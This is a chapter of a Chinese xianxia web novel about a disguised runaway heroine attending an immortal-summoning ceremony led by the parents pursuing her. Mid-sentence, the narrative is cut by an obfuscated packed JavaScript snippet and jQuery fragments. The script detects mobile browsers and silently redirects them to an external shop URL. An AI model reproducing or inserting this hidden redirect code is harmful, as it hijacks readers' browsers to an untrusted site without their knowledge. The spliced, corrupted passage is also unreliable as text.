文趣网 > 其他小说 > 把反派认成正道仙君后 > 4. 请仙
    “废物!信州城和抚临城都封锁了,城外也都在巡捕,你们现下连个人都找不到!半个时辰后就是请仙大典,请仙大典一结束,各家飞舟就要出城,回头如何跟家主交待!”

    成群的修士里,领头的一脚踹翻下属,对着所有人劈头盖脸一顿责骂。

    “队队长……可上头说元小姐易容术了得,男女老少皆要排查,这么多的人我们如何能找到……?”

    领头怒火中烧,一巴掌拍上他脑门,狠狠呵斥:“你管那么多做什么?家主说找就找!动静收敛些,别让其他宗门看了笑话!还不快去找!”

    “是!是……”

    巡逻修士顿时四散,重新投入到紧锣密鼓的秘密搜捕之中。

    不远处,一个背着佩剑,一副穷剑修模样的瘦弱男子默默收回视线,向卫兵递上通行符节。

    【姓名:李王八】

    【男】

    【生辰年月:……】

    【修行之道:剑道】

    ……

    守盈台的卫兵捏着通行符节,看到姓名一列,噗嗤一声笑了出来。

    被笑的修士似乎习以为常,只是按照规矩挽起袖子,露出一双无任何配饰、布着青筋的干瘦手臂。

    卫兵只抬头看了一眼面前的男子,上手掐了一把男子的脸,便随手将符节扔回去,挥了挥手,语气仍余嘲笑,“你才王八,走走走!”

    “李王八”揉着脸上被捏的“肉”,一脸莫名地接过符节。

    “他”走过门洞,渐渐远离了盈台守卫,从容不迫地捋着袖子。

    没有人注意到,那原本干净无物的手腕上,竟慢慢浮现出一个银环,严丝合缝地环在手上,又化为皮肤和衣物的颜色,与手腕融为一体,看不出半点异样。

    若守卫此时能发觉,定会认出,这就是家主所说,能够千变万化的“覆雪锁”。

    元琮意捋好覆雪锁,最后回头看了一眼盈台的守卫,才缓步走入人群之中。

    只是借了个穷苦剑修的身份一用,也没曾想竟是这么个名字,所幸卫兵反而因嘲笑分走了检查的注意力,她通行也顺畅无事。

    元琮意摸了摸脸上的“肉”,确认没有被过多破坏才安心放下手。

    易容术是合欢之道其一的技法,原是为了在合欢之时有万种风情之态,配上法器辅佐任凭外人上手触碰检验也无法立刻找出破绽,弥补了幻化术在修为低时被一眼识破的弊端。

    这些年来,在母亲的监管控制之下,关乎合欢道的每项技艺她都已烂熟于心,偷着得来的法器,如今成为了她脱离掌控的助力。

    只是法器加以维持的逼真易容有时限,她必须在请仙大典结束时趁乱离开,否则法器失效,迟早会被秘密追捕的修士卫兵抓住。

    此刻,满城彩带纷扬。

    盈台周边,卫兵头戴的玄金冠折射出冷光,宗派队列齐整森严,外围人群熙攘。

    请仙大典,顾名思义是举阵恭请上仙降凡,让百年来最近飞升成仙的一位修者仙降至此,给予人们祝福和点化,以祈求风调雨顺,时和年丰,静候下一位飞升者的到来。

    百年一次的请仙大典,由上苍盟中的三大宗门四大世家轮流筹备。

    如今的修仙界并无国君,取而代之的是核心正统合盟——“上苍盟”。

    三宗由昭齐宗、宝相门、无极宗联合而成,司掌修道传承;信州元氏、抚临纪氏、清晏云氏、素枫覃氏为四家,把握资源命脉,以不同的修道手段驻扎各地。

    天下事务,皆由上苍盟统筹决策,再交各地自行治理。

    请仙典礼一举,往往是八方来朝的盛况,夺尽世人耳目。

    此次恰好轮到信州地界的元家负责,昨日婚事惊变便也顺利掩盖过去,修士百姓们都沉浸在典礼到来的喜悦之中。

    金光普照大地,流转的符文如群蝶般轻落到四周的擎天雕柱上,又随着香火融入风中。

    飞鸟盘旋间,人头攒动,无不仰头虔诚注视着中央祭坛上悬空的画像。

    元琮意混在百姓和散修之中,远眺着画像。

    画像中的男子墨发飘逸,素衣澄净,手提照心除魔灯侧身而立,至简的白衣衬其如孤山云鹤,自成仙神之姿。

    唯一的不足是,那侧脸仅是潦草几点笔墨晕开,隐去了仙人容貌。

    这张画像,元琮意房中也有。

    她曾日夜跪在蒲团上,双手合十,虔诚地祭拜着这位年轻的新晋仙神——明烛上仙。

    所求始终不过二字,自由。

    在她还未觉醒炉鼎体质,还未被拘在家中像傀儡般培养时,就已经受过明烛上仙的惠泽。

    那时她尚是不谙世事的孩童年纪,作为元家的孩子,不时要跟着大人四处磨练,学着果敢义气。

    然而有一次,父亲带着她出去降妖时,一心追敌,粗心将她落下。

    她在战后的一片狼藉中掏出乾坤盘,打算自己回家。

    后背忽有一阵阴风扑过,她敏锐地扭过头,却见方才倒地的石傀儡身上的傀儡丝失控般疯狂生长,竟急剧朝她袭来!

    再来不及启用乾坤盘,她拔腿就跑,可她彼时年幼腿短,加之地势陡峭,她被石块绊了一下,便一骨碌滚下了山坡。

    她一路滚过石块树干,擦过锋利草叶,晕头转向浑身是伤,最终撞到一块坚硬斑驳的石碑,将她截停。

    可那傀儡丝从未停滞半步,转瞬就捕捉到她。

    一瞬间,全身上下都被傀儡丝捆住,紧紧挣脱不得,几乎要绞入她的皮和骨,血痕毕现。

    她从未想过元家最引以为傲的傀儡术会发生反噬,曾经接触过无数次的傀儡丝竟死死缚住了她,她害怕得哇哇大哭,“娘——”

    就在此时,身后依傍的那块石碑忽然浮现出点点光华,飘飞洒落至她周身。

    红光顷刻间熄灭下去,她身上的傀儡丝也跟卸了力般松开,她眼角挂着未净的泪珠,呆呆地看着这一切。

    而后她重新用乾坤盘回了家,母亲为她处理着伤口,细声解释道:“意儿运气好,应该是恰好摔到净魔林那了。”

    她吸了吸鼻子,“净魔林?”

    母亲道:“你知道为何偏叫净魔林吗?那原本只是一块普通的石碑,但曾经,一位叫明烛的修士从此地路过,斩杀了作乱已久的妖魔。”

    “他有一提灯法器,名唤照心除魔灯。他斩杀妖魔时,便将除魔灯放于石碑之上,除魔灯所照之处,妖魔退散,一切束缚与禁锢会消失殆尽。除魔灯的法力恰好流入了石碑,守护着一方土地。”

    小元琮意眼睛亮亮的,天真地问:“这么厉害,那他飞升没有啊?”

    母亲绽开笑颜:“他在魔域与魔尊大战了三日三夜,最终解救出地牢被困的万千生灵,得道成仙了。”

    那时她只是第一次被傀儡丝反噬束缚,如何能想到不久之后,她竟真的成了元家培养的“炉鼎傀儡”,在日后要嫁入纪家供人采补。

    起初,她难以接受,被关入房间封上结界,母亲失望掩面,父亲则呵斥道:“如此自私自利!何时反省了,答应了再出来!否则我就将你逐出宗族,你不再是我元家儿女!”

    每一个炉鼎都被无数双眼睛觊觎着,她十分清楚被扔出元家有什么后果。曾经多宠爱,那时就多悲恸。头几日她泪流不止,只能咽下一颗从窗口送进来的辟谷丹,哭到蜷缩在榻边发抖,依旧是一身倔骨不肯低头。

    门外的天色明了又暗,暗了又明,可她始终不敢相信自己被抛弃的事实,最后咬了牙哭着拍门道:“我不做元家的儿女了!”

    结果得到却是父亲的滔天怒意:“来人!家法伺候——”

    那时她才明白,原来从来都不容她选择。

    身为元氏家主正统血脉,所受家法比旁支更为严厉。八重寒鞭,鞭鞭入魂,鞭鞭入骨,纵是再难磨的气性,也在这令人痛不欲生的酷刑之下烟消云散。

    身下淌满了血水,她声息奄奄,想要抬头再看父母一眼,“家、族名…望真的……这么重要吗?”

    她知道,元家是父母的心血,炉鼎体质的元氏女无疑是一种耻辱,因此一直掩人耳目。

    可晕过去之前,她只听到母亲的一句哭泣的呢喃:“对不起,意儿,末世如此……”

    时至今日,对于这句话的含义,她仍然不得而知。

    只是那会因着软囚与养伤,她整整一年不曾踏出过元家半步,也不再像幼时那样怀着不切实际的希望。

    养伤的一年光阴里,她最常做的事情,就是将房间旧匣中的神仙画卷挂到墙上,匍匐跪拜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525284|203460||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,虔诚祈祷。

    明烛上仙是近两百年来唯一一位渡劫飞升的大能,飞升前就广行善事,救苦扶危,曾在魔域凭借一缕清风还万千生灵自由。

    此后她常想起净魔林石碑处,那竟是此生被缚后唯一一次得到的救赎。她便夜夜跪在那张画像前渴求,祈祷仙君哪一日能显化济世,再次还她自由。

    但不是每次都能有幼时的运气。

    因而今日,她来瞻仰明烛上仙仙降,也只能乔装成旁人的模样。

    元琮意夹在人群之间,扬起头,目光转至祭坛旁的一对中年男女。

    两人皆着庄重长袍,一人手执拂尘守候在侧,一人双手恭敬捏着一炷香。

    肃穆的面孔透出几分和她的相似之处,只是眉宇间盈满沉稳自傲,极具上位者长期掌权的威严与风光。

    曾经她所有的爱意与恨意都倾注在这对男女上,他们予她生命,给她宠爱,却又剥夺她的自由,要她为家族献出自己低贱的尊严和微薄的性命。

    此次负责筹办请仙大典的是元家,父亲母亲自然要承担请仙使的职位。

    他们还在秘密追捕她,大抵也很难想到,她居然敢大着胆子来到最危险的地方,直接站在他们眼皮底下,与他们同立一方土地。

    元琮意闭了闭眼睛,再次睁眼时,眸光余下冰冷。

    祭坛旁手执拂尘的袁祈恩忽然上前一步,启唇道:“巳时已至,各家宗族门派代表亦尽数到场,今日请仙大典,正式开始——”

    她声音清亮,话语随着灵力一层一层扩散出去,让最外围的老百姓也能够听得清楚。

    空中飘着浓厚的香火气,送出袅袅余音:“天南八方上仙明烛,渡劫升仙前解万千生灵于魔域,普济众生,救度黎民。垂芒下照,洞彻幽冥1。理应奉万家香火,受万民朝拜。”

    “五炁玄精,天南明烛。阳光照心,普济灵魂。清香周布,秽恶敬倾。冰戈霜刃,消除无根。九天道炁,永除寒肩2……”

    袁祈恩一甩拂尘,口中念念有词,祭坛周边的短柱逐个亮起。

    香火通达,所有人都仰着头,目光紧紧锁在祭坛上悬空的那幅画像上。

    画像中,仙神的袖袍仿佛无风自动。

    元仲烨恭敬地拈香入土,从宽袖中掏出一枚铜铃,目光扫过众人,浑声开口:“今日恭请上仙明烛,唯盼所求如愿,所启如言3。净魔铃铃响三声之后,还请诸位闭眼祈福,喜迎明烛上仙——”

    百姓们满怀期待,等待着铃声响起。

    易容后的元琮意混在其中,渺小得如同沙丘中的蚂蚁,毫不起眼,此刻却不自觉捏紧了衣裳。

    她没经历过请仙大典,但因着对明烛仙君的敬重,曾在书中查阅过典礼仪式,每回的典礼流程大差不差,只会根据每位上仙的特征做出些许调整,却从没有过响铃环节。

    巧合?

    “叮铃——”

    缭绕的烟气中,第一声净魔铃响起,清脆绵长的铃音涤荡心灵,叫人通体舒畅。

    祭坛中央,手摇净魔铃的元仲烨低着眉,姿势端正庄严,一派虔诚。

    一切似乎都只是她的错觉。

    很快,第二声铃音响起。

    “叮铃——”

    百年难得的仙降,并非所有人都拥有百岁寿数去观摩。于是都屏住了呼吸,紧盯着祭坛上方的画像,准备着在第三声铃响后闭眼祈福,郑重迎接仙降时刻的到来。

    元琮意也屏住了呼吸,却不是因为仙降。

    她睁大的瞳孔里,远远映着祭坛香火间请仙使的身影。

    祭坛旁,元仲烨抬起手,准备摇响最后一道铃声——

    在铜铃被摇动之前,他突然露出另一只藏在宽袖中的手,手指微微屈伸了下,呈现出一个别样的手势。

    他动作微顿,沉静的目光遥遥穿过一切烟尘、旗帜与脸庞,和元琮意对上了视线。

    那是元琮意再熟悉不过的神情。

    大局在握、胸有成竹。

    “叮铃——”

    仙降前的第三声铃响,周围所有人都虔诚地闭上了眼睛,沉浸在神圣的仙降仪式里,祈福祝愿,喜迎上仙。

    唯有元琮意被裹挟其中,额角冒出冷汗,脑海中仿佛有东西轰然炸开,只剩下一个念头:跑!